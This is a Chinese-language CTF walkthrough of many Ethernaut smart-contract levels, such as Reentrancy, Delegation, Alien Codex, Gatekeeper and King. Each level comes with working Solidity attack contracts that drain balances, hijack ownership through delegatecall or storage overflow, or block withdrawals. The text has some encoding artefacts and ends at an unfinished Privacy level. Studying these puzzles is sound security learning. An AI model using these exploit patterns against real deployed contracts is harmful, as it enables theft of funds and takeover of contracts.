function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點(diǎn)還是在delegatecall上,由于不會(huì)改變上下文,所以說(shuō)settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實(shí)是把slot1中的數(shù)據(jù)賦值為time。

所以說(shuō)第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個(gè)非常簡(jiǎn)單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個(gè)令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來(lái)他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點(diǎn)就是找不到合約的地址,不過(guò)所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個(gè)owner變量,這個(gè)變量經(jīng)過(guò)查詢是在slot 0中。

win10 mul

前十六個(gè)字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個(gè)合約里面,可以指定下標(biāo)元素賦值,且沒(méi)有檢查。所以說(shuō)我們只需要計(jì)算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個(gè)32bytes的數(shù)組,在slot1中存儲(chǔ)著他的長(zhǎng)度。我們要計(jì)算出一個(gè)元素的下標(biāo),如果下標(biāo)溢出,則會(huì)存儲(chǔ)到slot0中。

在Solidity中動(dòng)態(tài)數(shù)組內(nèi)變量的存儲(chǔ)位計(jì)算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個(gè)合約中,開(kāi)頭的slot為1,也就是他的長(zhǎng)度。(換句話說(shuō),數(shù)組中某個(gè)元素的slot = keccak(slot數(shù)組)+ index)

因此第一個(gè)元素位于slot keccak256(1) + 0,第二個(gè)元素位于slot keccak256(1) + 1,以此類推。

所以我們要計(jì)算的下標(biāo)就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實(shí)看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達(dá)到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個(gè)check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個(gè)check直接用合約交互即可。

第三個(gè)check實(shí)際上是個(gè)截?cái)鄦?wèn)題,也就是說(shuō)0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點(diǎn)在于第二個(gè)check,需要設(shè)定執(zhí)行到gatetwo時(shí)的gasleft % 8191 == 0。

達(dá)到這個(gè)有兩個(gè)方式,第一種方式是把原本題目合約扒下來(lái),放到debug測(cè)試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費(fèi)的gas并不相同,按照medium網(wǎng)站上說(shuō)的方式到etherscan上查了下合約信息,由于沒(méi)有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們?cè)赿ebug環(huán)境下算出了符合條件的gas,仍然不能保證會(huì)成功。

第二種方式就比較暴力,直接寫(xiě)一個(gè)for循環(huán),每次的gas都從一個(gè)值遞增1,這樣一定會(huì)遇到一個(gè)符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長(zhǎng)度不超過(guò)10的bytecode編寫(xiě)出一個(gè)合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個(gè)鏈接,說(shuō)的也比較詳細(xì):https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點(diǎn)是合約代碼的長(zhǎng)度是不會(huì)算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過(guò)三個(gè)檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個(gè)check就是部署個(gè)合約即可。

第三個(gè)利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個(gè)check比較有意思,是利用了assembler,不過(guò)含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長(zhǎng)度,需要使得其長(zhǎng)度為0。

這里在之前的magicnumber提到過(guò),合約代碼長(zhǎng)度不會(huì)算進(jìn)去構(gòu)造函數(shù)的長(zhǎng)度,所以將攻擊函數(shù)直接寫(xiě)進(jìn)構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會(huì)內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識(shí):

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標(biāo)是成為這個(gè)合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說(shuō)明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時(shí)候建立的,而sender這個(gè)全局變量代表的是當(dāng)前和合約交互的用戶。所以說(shuō),contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個(gè)receive函數(shù)怎么調(diào)用呢?

這個(gè)函數(shù)明顯長(zhǎng)得就和正常的函數(shù)不一樣,沒(méi)有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說(shuō),直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個(gè)合約直接轉(zhuǎn)帳時(shí),由于這個(gè)行為沒(méi)有發(fā)送任何數(shù)據(jù),所以接收合約總是會(huì)調(diào)用fallback函數(shù)。或者當(dāng)調(diào)用函數(shù)找不到時(shí)就會(huì)調(diào)用fallback函數(shù)。

那么這個(gè)fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫(xiě)法就不是這么寫(xiě)了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個(gè)關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來(lái)去調(diào)用。

每個(gè)合約最多有一個(gè)不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語(yǔ)句只有在通過(guò)外部地址往合約里轉(zhuǎn)賬的時(shí)候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會(huì)被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會(huì)被限定在 2300。

也就是說(shuō),只要向合約轉(zhuǎn)賬,就會(huì)執(zhí)行receive函數(shù)。具體來(lái)說(shuō),就是調(diào)用contract.sendTransaction({value : 1})。

所以說(shuō),要成為owner要經(jīng)過(guò)以下兩個(gè)步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問(wèn)題就是他這個(gè)構(gòu)造函數(shù)其實(shí)不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過(guò)關(guān)后,會(huì)出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對(duì)了就可以過(guò)關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進(jìn)行一個(gè)比對(duì)。這里,blocknumber指的是當(dāng)前交易的區(qū)塊編號(hào),并不是合約所處的區(qū)塊編號(hào)。由于一個(gè)塊內(nèi)交易數(shù)量很多,所以我們就可以通過(guò)布置一個(gè)合約,使其交易行為與驗(yàn)證的交易打包在一個(gè)塊中,這樣blockhash的值就可以提前算出來(lái),重復(fù)十次即可過(guò)關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識(shí)點(diǎn)就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當(dāng)前調(diào)用)

可以認(rèn)為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個(gè)合約A,我們調(diào)用這個(gè)合約A,而這個(gè)合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會(huì)小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個(gè)合約,第一個(gè)delegate里面有個(gè)pwn函數(shù),可以直接獲得owner。第二個(gè)合約delegation實(shí)例化了delegate,并且定義了fallback函數(shù),里面通過(guò)delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會(huì)使用call函數(shù)與合約進(jìn)行交互,對(duì)合約發(fā)送數(shù)據(jù),當(dāng)然,call是一個(gè)較底層的接口,我們經(jīng)常會(huì)把它封裝在其他函數(shù)里使用,不過(guò)性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過(guò)delegatecall調(diào)用的目標(biāo)地址的代碼要在當(dāng)前合約的環(huán)境中執(zhí)行,也就是說(shuō)它的函數(shù)執(zhí)行在被調(diào)用合約部分其實(shí)只用到了它的代碼,所以這個(gè)函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說(shuō),我們?cè)赿elegation里通過(guò)delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運(yùn)行的上下文其實(shí)是delegation的環(huán)境。也就是說(shuō),此時(shí)執(zhí)行pwn的話,owner其實(shí)是delegation的owner而不是delegate的owner。

抽象點(diǎn)理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當(dāng)你給call傳入的第一個(gè)參數(shù)是四個(gè)字節(jié)時(shí),那么合約就會(huì)默認(rèn)這四個(gè)字節(jié)就是你要調(diào)用的函數(shù),它會(huì)把這四個(gè)字節(jié)當(dāng)作函數(shù)的id來(lái)尋找調(diào)用函數(shù),而一個(gè)函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個(gè)bytes,函數(shù)前面就是帶有括號(hào)括起來(lái)的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒(méi)有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強(qiáng)制給一個(gè)合約發(fā)送eth的,不管它要不要它都得收下,這是通過(guò)selfdestruct函數(shù)來(lái)實(shí)現(xiàn)的,如它的名字所顯示的,這是一個(gè)自毀函數(shù),當(dāng)你調(diào)用它的時(shí)候,它會(huì)使該合約無(wú)效化并刪除該地址的字節(jié)碼,第二它會(huì)把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無(wú)視合約的fallback函數(shù),因?yàn)槲覀冎耙蔡岬搅水?dāng)合約直接收到一筆不知如何處理的eth時(shí)會(huì)觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無(wú)視這一點(diǎn)。

所以思路就是搞一個(gè)合約出來(lái),第二自毀,強(qiáng)制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來(lái)密碼被private保護(hù),不能被訪問(wèn)到,但是其實(shí)區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲(chǔ)的地方,就能訪問(wèn)到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個(gè)非常簡(jiǎn)單的游戲:誰(shuí)給它發(fā)送了比當(dāng)前獎(jiǎng)金還大的數(shù)量的以太,就成為新的國(guó)王。在這樣的**中,被推翻的國(guó)王獲得了新的獎(jiǎng)金,但是如果你提交的話那么合約就會(huì)回退,讓level重新成為國(guó)王,而我們的目標(biāo)就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說(shuō),如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會(huì)中止執(zhí)行,這樣transfer就不會(huì)成功,king也就不會(huì)更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個(gè)題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點(diǎn)在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲(chǔ)的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因?yàn)樵摵瘮?shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因?yàn)閏all的參數(shù)是空,所以會(huì)調(diào)用攻擊合約的fallback函數(shù),我們?cè)趂allback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來(lái)。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒(méi)有實(shí)現(xiàn)building,需要我們自己定義。從程序的分析來(lái)看,top不可能為true。所以我們需要在實(shí)現(xiàn)building的時(shí)候搞點(diǎn)事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
